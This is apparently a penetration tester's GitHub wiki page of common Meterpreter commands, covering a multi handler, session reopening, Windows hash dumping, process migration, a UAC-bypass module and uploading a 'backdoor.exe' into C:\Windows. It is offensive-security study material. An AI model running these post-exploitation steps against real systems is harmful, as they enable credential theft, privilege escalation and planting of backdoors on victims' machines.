Skip to content

Common Meterpreter Commands

TheGetch edited this page May 14, 2021 · 2 revisions

Common Meterpreter Commands

Common Meterpreter Commands

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Multi handler:

use exploit/multi/handler

Reopen session:

session -i #

Get hashes:

run post/windows/gather/hashdump

migrate:

run post/windows/manage/migrate

or

use post/windows/manage/archmigrate

Bypass UAC:

Use with an already achieved meterpreter shell:

  • use exploit/windows/local/bypassuac
  • set SESSION <#>
  • exploit

This can be used to enable the getsystem command to work (potentially).

Upload and download files:

meterpreter > download Logs.log /root/ meterpreter > upload /root/backdoor.exe C:\\Windows

_Sidebar

1. Recon

Ping Sweep

CIDR to IP

2. Enumeration

Services

05. HTTP (80,443,8080,8443,etc.)

3. Exploitation

4. Post Exploiation

5. High Value Information

Hashes

6. Reporting

7. Random Notes/Useful Tidbits

Clone this wiki locally